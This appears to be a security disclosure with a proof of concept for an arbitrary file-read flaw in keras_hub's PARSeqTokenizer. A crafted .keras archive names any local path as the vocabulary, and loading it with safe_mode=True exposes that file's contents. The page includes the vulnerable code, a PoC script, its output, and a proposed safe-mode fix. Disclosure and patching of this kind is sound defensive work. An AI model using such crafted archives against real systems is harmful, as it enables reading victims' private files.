Views
No views yet
keras_hub.models.PARSeqTokenizer reads an attacker-controlled
file path from config.json during model deserialization with no safe mode guard..keras file reads any file accessible to the process
and exposes its content in model.vocabulary. safe_mode=True does not protect this path.keras_hub/src/models/parseq/parseq_tokenizer.py:1def set_vocabulary(self, vocabulary):
2 if isinstance(vocabulary, str):
3 with open(vocabulary, "r", encoding="utf-8") as file: # no in_safe_mode() check
4 self.vocabulary = [line.rstrip() for line in file]
5 self.vocabulary = "".join(self.vocabulary)1if isinstance(vocabulary, str):
2 if serialization_lib.in_safe_mode():
3 raise ValueError("Requested loading a vocabulary file outside model archive...")
4 with open(vocabulary, "r", encoding="utf-8") as f:
5 ...pip install keras==3.12.1 keras-hub tensorflow1echo -e "SENSITIVE_LINE_ONE
2SENSITIVE_LINE_TWO" > /tmp/parseq_poc_target.txt1# poc_parseq_file_read.py
2import sys
3from unittest.mock import MagicMock
4sys.modules.setdefault("tensorflow_text", MagicMock())
5
6import keras
7import keras_hub # required: registers keras_hub>PARSeqTokenizer
8
9# The .keras file in this repo has vocabulary="/tmp/parseq_poc_target.txt"
10model = keras.models.load_model("malicious_parseq.keras", safe_mode=True)
11print("model.vocabulary:", repr(model.vocabulary))
12# Prints the content of /tmp/parseq_poc_target.txt[!] load_model returned: <PARSeqTokenizer ...>
model.vocabulary: 'SENSITIVE_LINE_ONESENSITIVE_LINE_TWO'
[+] SUCCESS - file content read via safe_mode=True load_model()assert_tf_libs_installed() is a functional
prerequisite in all keras-hub tokenizers. The mock above satisfies it.
In a real attack environment, both tensorflow and tensorflow-text are installed.import keras_hub: keras_hub must be imported before load_model()
to register the PARSeqTokenizer class in the Keras registry. This is standard
in any environment using keras-hub models.poc_parseq_file_read.py in this repo. It dynamically creates a target
file and a malicious archive, loads the model, and prints the leaked content.serialization_lib.py:816) resolves keras_hub classes
unconditionally:1if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
2 # class resolved without any safe_mode gate1from keras_hub.src.saving import serialization_lib
2
3def set_vocabulary(self, vocabulary):
4 if isinstance(vocabulary, str):
5 if serialization_lib.in_safe_mode():
6 raise ValueError(
7 "Requested loading a vocabulary file outside the model archive. "
8 "Pass safe_mode=False if you trust the source."
9 )
10 with open(vocabulary, "r", encoding="utf-8") as file:
11 ...